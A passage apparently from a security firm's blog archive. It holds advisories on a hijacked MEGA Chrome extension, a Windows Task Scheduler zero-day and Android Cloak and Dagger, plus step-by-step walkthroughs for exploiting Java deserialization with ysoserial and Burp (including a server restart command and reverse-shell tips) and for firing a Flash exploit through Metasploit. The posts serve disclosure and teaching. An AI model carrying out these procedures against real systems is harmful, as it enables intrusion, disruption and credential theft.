09/8/18

Case Study – New way to Exploit Java Deserialization Vulnerability

Introduction

In this case study, we will not focus on how serialization vulnerabilities and how they work because there are plenty of articles on this subject. Instead, we will focus on how to reliably detect and exploit these issues. For this task, all we need to know is that the vulnerability depends on how Java deserializes serialized objects. Default Java classes responsible for the deserialization task first deserialize each serialized object and then try to cast the object to the expected Java class. So, all the received objects are deserialized, even if they are not instances of the expected types; in this case, after deserialization an exception arises when trying to cast the object to the expected type. What makes the issue so critical is the fact that the Java language offers the possibility to add custom code to the class definition that is executed upon deserialization.

For this reason, to be able to achieve Remote Command Execution (RCE) it is necessary to find a “chain” to an object that, once deserialized, allows the attacker to execute arbitrary Java code. Obviously, the class of the chosen object must be loaded in the ClassLoader of the target system. For this reason, usually some “vulnerable” libraries are needed to exploit this issue. These libraries expose the objects used for the exploitation, but the vulnerability itself lies in how Java deserializes the objects, and not in the libraries used for the exploitation. Removing only the “vulnerable” libraries does not protect completely against this issue, because new chains could be discovered and the vulnerability could be triggered anyway.

Once a deserialization issue is discovered, the ysoserial tool can be used for exploitation. This tool generates custom exploitation vectors, based on the “vulnerable” libraries loaded in the target system. In this article we will analyze how to discover and exploit Java deserialization vulnerabilities using a Burp Suite plugin we developed based on ysoserial: the Java Deserialization Scanner.

Installation

The Java Deserialization Scanner plugin can be installed in two ways:

  • Download it directly in Burp Suite from the BApp Store (Extender -> BApp Store). This is the easiest way to get the plugin, but the downloaded version may not be the latest one. At the moment, for example, the latest version (0.5 pre-release) is available only from GitHub (see next method). When the release version will be published, we will submit it to the BApp Store.
  • Download the latest release from GitHub and manually install the JAR from the Burp Suite Extender tab (Extender -> Extensions -> Add)

Serialization

Serialization is the process of converting a complex object into a representation that can more easily be transmitted.

  1. To transfer over a network or write to a persistent store
  2. AKA “marshalling” or “pickling”

Deserialization is the process of recreating the object from that representation.

  1. As when receiving data over a network
  2. AKA “unmarshalling” or “unpickling”

Several Java technologies are layered over serialization:

  • Remote Method Invocation (RMI)
  • Java Management Extensions (JMX)

PoC: Serialization Process

Trust Boundaries

Web Application often contains multiple components & libraries each component may operate in one or more trusted domains.

  • Details of trusted domains driven by architecture, security policy, required resources, functionality, etc.

Examples:

  1. Component A can access file system, but lacks any network access.
  2. Component B has general network access, but lacks access to the file system and the secure network.
  3. Component C can access a secure network, but lacks access to the file system and the general network.

Deserialization of Untrusted Data

In Java, reading a Data object from a serialized stream is as simple as:

ObjectInputStream in = new ObjectInputStream( inputStream );

return (Data)in.readObject();

The problem is that there’s no way to know what object Deserializing before it gets decoded.  So an attacker can serialize a bunch of malicious objects and send them to web application. Hence, the call of readObject (), it gets too late. The attacker’s malicious objects have already been instantiated, and have taken over entire server.

Detection

The detection of deserialization vulnerabilities is not always a simple task. By generating a payload with ysoserial and sending it to the target application, usually we may either get a Java Stack Trace (and if we are lucky we can discover the presence of the issue, but only with a knowledge of the vulnerable library targeted) or no verbose output at all.

Therefore, in order to reliably detect the presence of the vulnerability, we modified ysoserial to generate Java native sleep payloads instead of RCE payloads and we added these payloads to the Java Deserialization Scanner. For this task it is necessary to use Java native sleep payloads, because the Java sleep call is synchronous; executing a system sleep using the default RCE payloads generated by ysoserial would be useless, because they are asynchronous and we would get the response from the server before the end of the sleep command, regardless of the presence or the absence of the issue.

In the latest version of the plugin, we added two new methods to further improve detection:

  • DNS
  • CPU

In order to generate payloads that execute native Java DNS resolution, we modified ysoserial again. Usually, DNS resolution requests are the ones that are most likely to bypass corporate firewalls and consequently are a quite good detection method. In general, the timing method is more reliable and preferable, but the DNS method can be useful on unstable systems or highly delayed networks. Thanks to Burp Suite Collaborator, it is not necessary to have authority on a DNS zone, and everything can be done within the Burp Suite pro tool.

The CPU detection method is based on Wouter Coekaerts’ SerialDOS work: it is able to detect deserialization issues without the presence of any vulnerable library. The payload is based on a system object (java.util.HashSet) that employs many CPU cycles for the deserialization task. SerialDOS was created as a PoC of a Denial of Service (DoS) attack, but by decreasing the CPU cycles necessary for deserialization it can also be used as a detection method. This payload is very useful to detect if the application endpoint actually performs Java deserialization and if it implements a strict whitelist.

approach. If this check gives a positive result there is also the possibility that the target application implements a whitelist approach that permits HashSet class of java.util package. In this case the application is still vulnerable to DoS attacks (using full-power SerialDOS payloads).

Demonstration

Now, let’s demonstrate how to use desearlization plugin for detection. The detection is integrated in Burp Suite Active and Passive Scanner. By default, Time and DNS checks are added to Burp Suite scanner, but they can be disabled from the Configurations panel of the plugin, in the section “Automatic scanner configurations”:

In order to reduce the number of requests executed by the Active Scanner, the checks added by the plugin are executed only if a serialized object is present in the original request. The payload is encoded with the same encoding found in the original request (for instance, if the serialized object is encoded in BASE64, the exploit vector will be encoded in BASE64 and so on). The currently supported encoding formats are:

  • Raw
  • BASE64
  • ASCII HEX
  • GZIP
  • BASE64 GZIP

The CPU detection method is not included by default in the active scan checks, because it must be used with caution: sending a huge number of “light” SerialDOS payloads may still cause problems on old or highly-loaded systems. In order to execute checks with custom insertion points or use the CPU payload, the plugin provides the “Manual Testing” tab, in which the user can select the insertion point (currently only one at a time is supported) like in the Burp Suite Intruder, choose the check type (DNS, Time, or CPU), choose the preferred encoding and test the parameter. By selecting Sleep or DNS checks, the plugin tests all the supported vulnerable libraries, while with the CPU check the plugin will use a library-independent CPU payload. By default, detected issues are automatically added to the global issues of the host, but this behavior can be disabled in the “Configurations” tab. In the same tab it is possible to enable verbose mode, in order to inspect the requests and their responses in the results pane.

The requests to test can be manually inserted in the Manual Testing tab or can be sent from other Burp Suite tabs using the contextual menu that opens with the right button of the mouse:

PoC: Menu for exploitation

The configuration of the Manual Testing tool is explained in the following PoC:

PoC: Steps for Detection of Serialization Vulnerability

Exploitation

The “Exploiting” tab offers a comfortable interface to exploit deserialization vulnerabilities. This tab uses the ysoserial tool to generate exploitation vectors and includes the generated payload in a HTTP request. ysoserial takes as argument a vulnerable library and a command and generates a serialized object in binary form that can be sent to the vulnerable application to execute the command on the target system (obviously if the target application is vulnerable). The Exploiting tab supports the same encoding formats as the detection sections of the plugin.

Now, let’s demonstrate how to use the plugin for exploitation. First, we need to open the “Configuration” tab and insert the path where we have a copy of the ysoserial tool (ysoserial is necessary only for exploitation; detection payloads are already included in the plugin):

PoC: Configuration Tab

Step: 1 – Then, as we saw for manual testing, it is possible to insert the request manually or to send it from other Burp Suite tabs using the contextual menu that opens with the right button of the mouse. The user can then select the insertion point (currently only one at a time is supported) like in the Burp Suite Intruder, insert the ysoserial command (refer to the ysoserial manual for syntax) and click the correct “Attack” button, based on the desired encoding. The configuration of the “Exploiting” tool is explained in the following PoC:

PoC: Steps to Perform Manual Exploitation

Step: 2 – As shown in above PoC, we have used burp collaborator to check whether it is exploitable with the help of ping command. Burp Suite Collaborator is an external server added to Burp Suite in order to discover out-of-band vulnerabilities and issues that can be found only from external service interaction. It is a great tool and increases the power of Burp Suite Scanner a lot. However, a simple ping payload that does a DNS query confirmed that the system is indeed vulnerable.

PoC: DNS Query to Burp Collaborator Server

Step: 3 – For further exploitation, we can use windows commands like nslookup to check if any DNS query is received, so that we can confirm the vulnerability as shown in following PoC.

PoC: Nslookup

Step: 4 – As we know that, it is vulnerable for serialization attack so that we can craft our payload as harmful as possible and we have clue about that it is using windows server. Hence, we can craft the payload accordingly like we will send the command restart to server. Payload as motioned in the following PoC.

PoC: Restart Command sent to Windows Server

Step: 5 – After the command execution server will get restart and it will show service unavailable error. Our exploitation part will get successful. Attacker can do remote code execution (RCE) by using serialization vulnerability.

PoC: Server gets restart and it will display “Service Unavailable”

Additional considerations

Once the vulnerability is confirmed, the PenTester may need to do some trial and error of commands to execute in order to get a shell. Here are a few useful tips getting that working:

  • Make sure to test various reverse shell commands (see Reverse Shell Cheat-Sheet)
  • Common collection payload may fail on certain JVM (IBM J9 for example). Mathias Kaiser made a payload specifically to support less common JVM: see CommonsCollections6.
  • If a security manager is enforced, may need to craft a custom payloads. One prevalent approach is to find the path to the web root directory and write a web shell that could be later executed.

 

Author,

Tanmay Nashte
Attack & PenTest Team

Varutra Consulting

09/7/18

Security Advisory- MEGA Chrome Extension Hijack

What is MEGA?

MEGA is a cloud storage and file hosting service offered by Mega Limited, a New Zealand-based company. The service is offered primarily through web-based apps. Mega mobile apps are also available for Windows Phone, Android and iOS.

Mega is known for its security feature where all files are end-to-end encrypted locally before they are uploaded. This prevents anyone from accessing the files without knowledge of the pass key used for encryption. As of January 20, 2018, Mega has 100 million registered users in more than 245 countries and territories, and more than 40 billion files have been uploaded to the service.

Affected Version

MEGA Chrome Extension 3.39.4

The Firefox version of MEGA has not been impacted or tampered with, and users accessing MEGA through its official website (https://mega.nz) without the Chrome extension are also not affected by the breach.

All extracted information will be immediately reported to a hacker-controlled server located in Ukraine. A list of the target services includes the following:

  • Google
  • Amazon
  • Microsoft
  • GitHub
  • com
  • Google Webstore Login
  • My Ether Wallet
  • My Monero
  • IDEX Market

Fig: MEGA extension window in browser

Current Scenario

On 4 September at 14:30 UTC, an unknown attacker managed to hack into MEGA’s Google Chrome web store account and uploaded a malicious version 3.39.4 to the web store. When installed the extension will monitor for specific login form submissions to Amazon, Microsoft, GitHub, and Google.

The hijacked MEGA extension then sent all the stolen information back to an attacker’s server located in Ukraine, which is then used by the attackers to log in to the victims accounts, and also extract the crypto currency private keys to steal user digital currencies.

Although the company has not revealed the number of users affected by the security incident, it is believed that the malicious version of the MEGA Chrome extension may have been installed by tens of millions of users.

Fig: Blog post published by the company

How this attack works?

It would perform monitoring of any form submission where the URL contains the strings Register or Login or variables exist that are named “username”, “email”, “user”, “login”, “usr”, “pass”, “passwd”, or “password”. If the extension detected any of these form submissions or data variables, it would send the credentials and variables values to a host in Ukraine called https://www.megaopac.host/.

To make matters worse this extension will also monitor for the following URL patterns: “https://www.myetherwallet.com/*”, “https://mymonero.com/*”, “https://idex.market/*”, and if detected, would execute Javascript that would attempt to steal the crypto currency private keys for the logged in user from these sites.

Fig: Monitoring login attempts to various sites

Fig: Stealing variables with certain names

Fig: Sending information to attackers

Fig: Capturing crypto currency keys

Prevention attempts by officials

The main reason for this attack was Google’s decision to disallow publisher signatures on Chrome extensions and relying solely on signing them automatically after upload to the Chrome web store, which removes an important barrier to external compromise. As a prevention attempt Google removed the MEGA extension from its Chrome Web Store five hours after the breach.

However, after four hours of the security breach MEGA updated the extension with a clean MEGA version (3.39.5), auto-updating all the affected installations.

Recommendations

  1. Users who had installed the extension should uninstall the MEGA version 3.39.4.
  2. Change your passwords at any accounts, especially financial, shopping, banking, and government institutions, that you may have used.
  3. Consider resetting the Chrome browser to make sure the extension is completely removed. (Settings->Show advanced settings->Restore settings to their original defaults)
  4. Until more information is available about the cause of the incident, it is recommended that all users should stop the use of the MEGA Chrome extension.
  5. Transfer any cryptocurrency funds, including tokens, to another address.

Some best practices to stay safe in future

  1. The incident highlights a security danger with third-party Chrome extensions. If you have any unused extension installed on your Chrome browser, it’s a good idea to remove them.
  2. Do not install potentially unwanted extensions on browser.
  3. Before granting permission, verify the reason why an application requires elevated permissions like ‘Read and Change your data on websites you visit’.
  4. Use two-factor authentication for any resources that support financial information, because in such cases, even if criminals get to your credentials, they won’t be able to compromise your accounts.
  5. Password managers are particularly helpful when need to change a whole lot of passwords at the same time.

References

  1. https://mega.nz/start
  2. https://www.neowin.net/news/megas-chrome-extension-suffers-breach-steals-user-credentials-and-crypto-keys
  3. https://sensorstechforum.com/mega-chrome-extension-hacked-user-passwords-stolen-uninstall-asap/

 

Author,
Jinto T.K.

SOC Team

Varutra Consulting Pvt. Ltd.

09/4/18

Advisory | Microsoft Zero Day Vulnerability – Windows Task Scheduler Local Privilege Escalation Vulnerability

Introduction

A previously unknown zero-day vulnerability has been disclosed in the Microsoft’s Windows operating system that could help a local user or malicious program to obtain system privileges on the targeted machine.

The vulnerability is a privilege escalation issue which resides in the Windows’ task scheduler program and occurred due to errors in the handling of Advanced Local Procedure Call (ALPC) systems.

Advanced local procedure call (ALPC) is an internal mechanism, available only to Windows operating system components, that facilitates high-speed and secure data transfer between one or more processes in the user mode.

Exploit for this vulnerability has been shared by a hacker named “SandboxEscaper” and the exploit code is currently available on public repositories like GitHub. However the current exploit works only in windows 64 bit operating systems. For a complete solution, we have to wait for Microsoft to respond until the scheduled September 11 Patch.

Affected Versions

1) Windows 10

2) Windows Server 2016

The exploit would need modifications to work on operating systems other than 64-bit (i.e., 32-bit OS). Also it hard codes prnms003 driver, which doesn’t exist in certain versions (e.g. on Windows 7 it can be prnms001). Compatibility with other windows versions may be possible with modification of the publicly available exploit source code.

How to Detect?

It is possible that the original windows processes can be replaced with the malicious program shared by the hacker. So we can detect those exploits by checking whether the original windows processes have been replaced.

  1. Look for spoolsv.exe under abnormal processes (or another Spooler exploit).
  2. Look for connhost.exe under abnormal processes (e.g. the Print Spooler).

Spoolsv.exe:

It is called Windows Print Spooler. This service spools print jobs and handles interaction with the printer. By disabling the Windows Print Spooler service you wouldn’t be able to print more than one document at a time, and any documents not immediately sent to the printer wouldn’t print.

Risk: If you turn off this service, you won’t be able to print or see your printers.

Fig: Checking for suspicious processes

Connhost.exe:

It is called Console Windows Host. This service is present in Windows 10 and using this, windows command prompt can show the same window frame like the other programs. It also allows you to operate the cmd prompt and users to drag and drop a file directly into it. This Microsoft Console Host program resides in “C:\Windows\System32” and should not be removed.

This process is closely related to windows CSRSS(Client Server Runtime System Service) a protected process you can’t terminate, which is responsible for console windows and the shutdown process, which are critical functions in Windows.

Risk: If you turn off this service, windows CSRSS service will also crash because conhost.exe runs under csrss.exe, so there is a high chance for the system to become unusable or shutdown.

Fig: Checking for suspicious processes

Recommendations

  1. Do not remove/disable any original system processes without confirmation.
  2. Monitor and block any local users from gaining administrator privileges by using SIEM tools.
  3. Detect all the malicious processes by the name of genuine ones by using Behavioral Analysis.
  4. Network traffic analytics should continue to be used to detect anomalous traffic going across the network and to spot where users are behaving in a way that they historically don’t.

References

  1. https://www.kb.cert.org/vuls/id/906424
  2. https://doublepulsar.com/task-scheduler-alpc-exploit-high-level-analysis-ff08cda6ad4f
  3. https://threatpost.com/microsoft-windows-zero-day-found-in-task-scheduler/136977/

 

Author,
Jinto T.K.

SOC Team

Varutra Consulting Pvt. Ltd.

06/2/17

Beware Android Users – CLOAK AND DAGGER is here to exploit you

The WORLD has still not got over with the WannaCry ransomware menace and here comes one more!

People have been debating for years over Android V/s iPhone.  It’s the ultimate battle. And it’s not ending anytime soon. But there is something Android users would not like to hear and iPhone users would rejoice about their choice– Android users are not safe!

Yes, the Android OS which you and I are using (even the latest Android 7.1.2) is not safe, all your credentials, data are at major risk.

Android users all over the world have always been a very popular target for criminals. It’s not even a month researchers uncovered several malicious Android applications masqueraded as “Funny Videos” on Play Store which had over 5000 downloads; it did not only provide users with “Funny Videos”, but had ‘BankBot banking Trojan’ which also stole victim’s banking password.

Till now everyone thought that malware requires user interaction in order to get installed on any device or click on a link in a phishing email, or the installation of software from an unverified source. But Researchers now have discovered a new attack, called “Cloak and Dagger”, that works against all versions of Android. Yes, even the latest version of Android isn’t safe from this attack.

It allows an attacker aka hackers to smoothly and silently take complete control of your device and steal private data of the device user like login credentials, using key logger and also by analyzing the keystrokes, personal chats, contacts without the users concern.

This stealthy attack was first discovered researchers at the Georgia Institute of Technology in Atlanta last August. They were in discussion with Google and some vulnerabilities were fixed over months with updates, but some of them are still present in the latest version of the platform.

How does the attack take place?

Cloak and Dagger attack is caused by 2 specific permissions the SYSTEM ALERT WINDOW and the BIND ACCESSIBILITY SERVICE.

What makes it even more dangerous is the fact that the SYSTEM ALERT WINDOW permission is automatically granted for applications installed from Play Store, and it can easily trick the user into granting the BIND ACCESSIBILITY SERVICE permission and bootstrap the whole attack.

This means, all you have to do is download an application (malicious) from the Android play store and rest will be taken care by the malicious code.

Let’s know more about the permissions

SYSTEM ALERT WINDOW

This System alert window is nothing but “Draw over other apps”, used to draw overlays on top of other applications. According to the official documentation, “Very few applications should use this permission; these windows are intended for system-level interaction with the user.” Despite this warning, the SYSTEM ALERT WINDOW is used by popular applications such as Facebook, LastPass, Twitter, and Skype. Furthermore, it is found that about 10.2% (454 out of 4,455) of top applications on Google Play Store require this permission.

This means that, since the SYSTEM ALERT WINDOW permission is automatically granted, the user will not be notified at any point.

BIND ACCESSIBILITY SERVICE

This permission is accessible for the Android users with disabilities. It can discover UI widgets displayed on the screen, query the content of these widgets, and interact with them programmatically. This permission is less popular than the previous permission. Among the top 4,455 applications on the Play Store, it is found that 24 applications use this service. It is worth noting that none of them are purely designed for people with disabilities! In fact, most of them are security applications such as password managers (e.g., app lockers, desk launchers, and antivirus applications. It is also found that 17 of these applications require both permissions.

The combination of these two permissions leads to a stealthy, very popular attacks, called “Cloak and Dagger”. It is called so as they take place undercover without user’s knowledge.

Conceptually, Cloak and Dagger is the first class of attacks that has successfully and completely compromise the UI feedback loop. It can modify what the user sees, detect the input/reaction to the modified display and update the display to meet user expectations. Similarly, the user can fake input, and it still manages to display to the user what they expect to see, instead of showing them the system responding to the injected input.

This sharply contradicts the existing attacks that utilized either SYSTEM ALERT WINDOW or the BIND ACCESSIBILITY SERVICE permissions. With the use of only SYSTEM ALERT WINDOW permission (e.g., GUI confusion attacks), the attacker can modify what the user sees, but cannot anticipate how/when the user reacts to the modified display, and hence fails to change the modified displayed content accordingly. Similarly, by using BIND ACCESSIBILITY SERVICE permission alone, the attacker can inject fake user inputs, but the attacker here cannot prevent the user from seeing the results of these fake inputs displayed on the screen. As a result, in both cases, with only one of the two permissions, the user can very quickly discover the attack.

On the contrary, in Cloak and Dagger,  the combination of the two permissions allows an attacker to both modify what the user sees and inject fake input, all while maintaining the expected “User experience”.

The potential consequences of the Cloak and Dagger attacks include almost complete control over the victim’s device – context-aware clickjacking attacks, perform (unconstrained) keystroke recording, steal user’s credentials, security PINs, and two-factor authentication tokens, and silently install a God-mode application with all permissions enabled.

According to the research, the flaws allow malicious applications downloaded from the Google Play Store to take control of the operating system’s user interface feedback loop. Thereby taking control of the device. What makes it more dangerous is the fact that user would be completely unaware of this malicious activity taking place.

The researchers have examined the attack and explained how they got on the Google Play Store to perform Cloak & Dagger attacks. They first submitted an application which got approved just after few hours and it is been said that it is still available on the Play Store. That application contained a non-obfuscated functionality to download and execute arbitrary code (to simulate malicious behaviour).

Once installed, the researchers say the attacker can perform various malicious activities including:

  • Advanced clickjacking attack
  • Unconstrained keystroke recording
  • Stealthy phishing attack
  • Silent installation of a God-mode application (with all permissions enabled automatically)
  • Silent phone unlocking and arbitrary actions (all this while keeping the screen off)

The attack has been successfully performed on 20 people by Researchers at Georgia Institute of Technology and none of them were able to detect any malicious activity.

It is important to mention that, starting from Android 6.0, this permission is treated differently from the others. The user needs to manually enable this permission through a dedicated menu. If an application is installed by the latest version of the official Play Store app, the SYSTEM ALERT WINDOW permission is automatically granted (users will not be notified at any point).

Researchers have reported their findings to Google, which promptly acknowledged all the problems that have been raised. However, no comprehensive patch is available yet: while few of the specific instances of problems can be fixed with a simple patch, most of the attacks are possible due to design shortcomings that are not easily addressable.

What can you do to protect yourself?

The easiest way to mitigate the issue and disable the Cloak and Dagger attacks in Android 7.1.2 is to turn off the “draw on top” permission by heading on to:

Settings → Apps → Gear symbol → Special access → Draw over other apps.

Don’t expect a true fix for this issue to come to your device anytime soon. However, “Android O” will partially address this flaw by disallowing malicious applications from completely drawing over the entire screen and generate alerts via notification if an application is actively drawing an overlay. With these changes, it’s less likely that a malicious application can get away with the exploit if the user is attentive. Thus, until Android O comes along (which is supposed to come by 3rd quarter this year), users don’t have much they can do to avoid being trapped, beyond regular security practices. It is still doubted if it would be able to detect all such cases. Install applications only from trusted sources, don’t install random applications, and, keep a close watch on what permissions an application is asking for.

All you can do is to check application permissions before installing it. And monitor what permissions are being granted to each application you install. Check if any application is asking more than what it is meant for, just do not install it.

 

References:

http://cs.ucsb.edu/~yanick/publications/2017_oakland_cloakanddagger.pdf

http://cloak-and-dagger.org/

http://thehackernews.com/2017/05/android-hacking-technique.html

http://mashable.com/2017/05/23/the-jammer-mini-roller/

http://gadgets.ndtv.com/apps/news/android-attack-cloak-and-dagger-uc-santa-barbara-geogia-institute-technology-google-1704400

Cloak And Dagger Exploit uses Overlays and Accessibility Services to Hijack the System

http://thehill.com/policy/cybersecurity/335126-researchers-spotlight-cloak-and-dagger-attack-against-android-devices

 

Author:

Shreeya Patewadiyar

Attack & PenTest Team,

Varutra Consulting

01/9/16

Mobile Vulnerability Database (MVD)

 gpmvd

 

Introduction:

The Android operating system is the most widely used operating system for mobile devices. Android has around 82.8% (IDC) market share and is a favourite  target for attackers. One of the latest vulnerabilities, StageFright, allows the attacker to execute arbitrary code on an Android device which takes advantage of a flaw that exists in media library stagefright. Considering other platforms such iOS, Windows, and Blackberry, Varutra is maintaining the vulnerabilities related to mobile operating systems in the Mobile Vulnerability Database (MVD). Varutra has developed the MVD application for the Android platform which identifies vulnerabilities on the Android operating system and provides detailed vulnerability reports, and which is freely available on Playstore for all Android users. The applications for other platforms are under development and will be available very soon for iOS, Windows and Blackberry.

MVD (Mobile Vulnerability Database):

Mobile Vulnerability Database, or MVD, is a unique place to find out about vulnerabilities reported worldwide for Mobile Platforms.

A user can browse through vulnerabilities specific to their mobile platform and the particular version. The objective of MVD is to give a common place for mobile users to get acquainted with the vulnerabilities that might exist on their devices. Users can choose to receive specific vulnerability details as a report via Email.

1. MVD

Platforms covered by MVD

At present MVD covers major mobile smartphone platforms such as Android, Blackberry, iOS and Windows Phone.

2.1 PlatformsMVD Web Application:

MVD is also available in web interface where users can search and gather information related to mobile operating system vulnerabilities by simply searching by the Common Vulnerabilities and Exposures (CVE ID) vulnerability category.

A user can browse through vulnerabilities specific to their mobile platform and the particular version. The objective is to give a common place for mobile users to get acquainted with what vulnerabilities might exist on their devices. Additionally, users can choose to receive specific vulnerability details as a report via Email.

Web Application

For more information: http://varutra.com/mvd/

MVD Platforms:

MVD is developed for mobile operating systems such as Android, iOS, BlackBerry and Windows

3.1 MVD PlatformsTerminologies related to MVD

What is KVID?

KALP Varutra ID (KVID) is a unique number assigned to each reported vulnerability; maintained in the MVD database by the Varutra team.

E.g. KVA01 for Android, KVB01 for Blackberry, KVI01 for iOS and KVW01 for Windows Phone

Note: KALP stands for Knowledge Attained Learn Process. It is a blog for information published on the World Wide Web and consisting of discrete entries (“posts”) typically displayed in reverse chronological order.

What is CVE?

Common Vulnerabilities and Exposures (CVE) is a dictionary of common names (CVE Identifiers) for publicly known information security vulnerabilities maintained by the MITRE Corporation. The goal of CVE is to make it easier to share data across separate vulnerability capabilities (tools, repositories, and services) with this “common enumeration.”

For more information: https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures

What is CVSS?

Common Vulnerability Scoring System (CVSS) is a vendor agnostic, industry open standard designed to convey the severity of vulnerabilities. CVSS scores may be used to determine the urgency for update deployment within an organization.

For more information:

https://en.wikipedia.org/wiki/CVSS

CVSS scores can range from 0.0 (no vulnerability) to 10.0 (critical).

E.g. BlackBerry uses CVSS in vulnerability assessments to present an immutable characterization of security issues. BlackBerry assigns all relevant security issues a non-zero score. Customers performing their own risk assessments of vulnerabilities that may impact them can benefit from using the same industry-recognized CVSS metrics.

MVD Feature:

MVD feature How to get the Vulnerability Report on Email?

The user can register with their Name and Email ID on Register for Vulnerability Report and then select the required platform and version to receive the report. A module is being implementing where once a user is registered they will get automatic updates for any new vulnerabilities reported in the platform and version specifically chosen by the user.

4.1 Vulnerability Report

 Users can now access the MVD on their Android Smartphones, Tablets.

The MVD Android application covers major mobile smartphone / tablet platforms such as Android, Blackberry, iOS and Windows Phone. Users can register with their Name and Email ID on “Register for Vulnerability Report” and then select the desired mobile platform and version to receive the report. Users can also download the MVD Android application on your device from Google Play:

https://play.google.com/store/apps/details?id=com.varutra.mobilevulndb&hl=en

 Conclusion: 

MVD very useful for mobile phone users who are interested in knowing the vulnerabilities in their Android phone and want to mitigate the vulnerabilities. Additionally, MVD is useful for security researchers interested in knowing the vulnerabilities present in multiple mobile operating systems.

For more Details reading Pentestmag

Author:

Attack & PenTest Team,

Varutra Consulting

10/24/15

Adobe Flash Player Zero Day Attacks Found In Hacking Team Data Leaked

adobe-addresses-latest-flash-player-zero-day-vulnerability

Hacking Team is a Milan-based information technology company that sells offensive intrusion and surveillance capabilities to governments, law enforcement agencies and corporations.Its “Remote Control Systems” enable governments and corporations to monitor the communications of internet users, decipher their encrypted files and emails, record Skype and other Voice over IP communications,  and remotely activate microphones and camera on target computers.Hacking Team states that they have the ability to disable their software if it is used unethically.

The Recent Cyber Attack that exposed 400GB of data belonging to Hacking Team has following  Zero Day vulnerability in Adobe Flash Player in their data.

  • CVE-2015-5119                                                                                                                             
  • CVE-2015-5122
  • CVE-2015-5123                                                                                                                      

Let us see in detail , How these vulnerability affects the adobe flash player.

This Flash-based vulnerability, dubbed the “most beautiful Flash bug for the last four years” in Hacking Team’s internal notes,

Use-after-free vulnerability present in the ByteArray class located in the ActionScript 3 (AS3) implementation in Adobe Flash Player 13.x through 13.0.0.296 and 14.x through 18.0.0.194 on Windows and OS X and 11.x through 11.2.202.468 on Linux allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via crafted Flash content that overrides a valueOf function, as exploited in the wild in July 2015.

The critical zero-day vulnerability in Adobe Flash is a Use-After-Free() programming flaw (CVE-2015-5122) which is similar to the CVE-2015-5119.

Use-after-free vulnerability present  in the DisplayObject class located  in the ActionScript 3 (AS3) implementation in Adobe Flash Player 13.x on Windows and OS X, 14.x through 18.0.0.203 on Windows and OS X, 11.x through 11.2.202.481 on Linux, and 12.x through 18.0.0.204 on Linux Chrome installations allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via crafted Flash content that leverages improper handling of the opaqueBackground property.

Successful exploitation [of CVE-2015-5122 flaw] could cause a crash and potentially allow an attacker to take control of the affected system,” Adobe said.

Adobe credited FireEye researcher Dhanesh Kizhakkinan for reporting the vulnerability found  in stolen data leaked from Hacking Team.

The flaw can be exploited by freeing a TextLine object within the valueOf function of a custom class when setting the TextLine’s opaqueBackground. As explained by FireEye researchers:

“Once the TextLine object is freed, a Vector object is allocated in its place. Returning from valueOf will overwrite the length field of Vector object with a value of 106. (Initial length is 98).

Exploitation continues by finding the corrupted Vector object by its length, which will be greater than 100.

This enables the object to change an adjacent Vector object’s length to 0x40000000.

Once exploit achieves this, it follows the same mechanism that was used in CVE-2015-5119 PoC.”

This, in turn, allows for attackers to execute shellcode, which pops up a calculator

Use-after-free vulnerability present  in the BitmapData class located  in the ActionScript 3 (AS3) implementation in Adobe Flash Player 13.x through 13.0.0.302 on Windows and OS X, 14.x through 18.0.0.203 on Windows and OS X, 11.x through 11.2.202.481 on Linux, and 12.x through 18.0.0.204 on Linux Chrome installations allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via crafted Flash content that overrides a valueOf function, as exploited in the wild in July 2015.

The vulnerability can be triggered by the following steps:

1)  From a new BitmapData object, prepare 2 Array objects, new 2 MyClass objects, and assign the MyClass object to each Array objects.

2 )  Once the valueOf function of MyClass is override, it calls the BitmapData.paletteMap with the 2 Array objects as parameters. The BitmapData.paletteMap will trigger the valueOf function.

3)   In the valueOf function, it will call BitmapData.dispose() to dispose the underlying memory of BitmapData object, thus causing Flash Player to crash.

Steps to exploit flash zero day vulnerability with metasploit :

Note: This tutorial is for informational purposes only.

  1. First download the exploit code by creating an empty document and name it:

Adobe_Flash_HackingTeam_exploit.rb

image1Figure 1:Download the Exploit                                 

  1. download the payload from here: https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/CVE-2015-5122

image2

      Figure 2:Download the Exploit

  1. Add it to the following directory:

/usr/share/metasploit-framework/data/exploits/CVE-2015-5119/msf.swf

 

  1. Now copy the exploit code and paste it into the empty document.

Use the following command to copy the file from the root/desktop to the Metasploit framework modules folder (create the flash folder if it is not here):

mv /root/Desktop/Adobe_Flash_HackingTeam_exploit.rb /usr/share/metasploit-framework/modules/exploits/windows/flash/

image3

 Figure 3: Move the Exploit in exploit-Modules

  1. You can use the following command to check whether the file has been actually copied to the destination folder:

ls  /usr/share/metasploit-framework/modules/exploits/windows/flash/

image4

 Figure 4: Confirm the destination folder

  1. open a new terminal and start Metasploit (and following services if not already started) using the following command(s):

service postgresql start

service metasploit start

msfconsole

                                  

image5

 Figure 5: Start msfconsole

  1. Now we have got Metasploit started and running with our newly imported exploit in it, we can use the following command to search for it:

search hackingteam

After this use the following command to use the newly added exploit module:

use exploit/windows/flash/Adobe_Flash_HackingTeam_Exploit

Let’s check the options for Metasploit CVE-2015-5122 module with the     following command:

show options

image6                                                        Figure 6: Trigger the Exploit                                                            

  1. We will keep the default options and type “exploit” to trigger our exploit:

Exploit

  1. Let’s open the link from a Windows 7 virtual machine with a vulnerable browser (Firefox) and a vulnerable version of Flash Player (< 18.0.0.203) installed.

image7

 Figure 7: Send the Link to the victim

CounterMeasures:

How to avoid getting infected by these exploits…

– Update Flash Player and make sure that  it is up-to-date: https://get.adobe.com/flashplayer/

If you’re unsure whether your browser has Flash installed or what version it is running, you can browse to this link : https://www.adobe.com/software/flash/about/

– Install security patches if any and keep your OS updated.

– Keep your browser updated.

References:

https://cve.mitre.org/cgi-bin/cvename.cgi

https://github.com/hackedteam

https://www.adobe.com/software/flash/about/

http://blog.trendmicro.com/

https://www.fireeye.com

 

Author

Attack & PenTest Team,

Varutra Consulting

10/4/14

Shellshock-Security Patching Aftermath

Shell Shock-

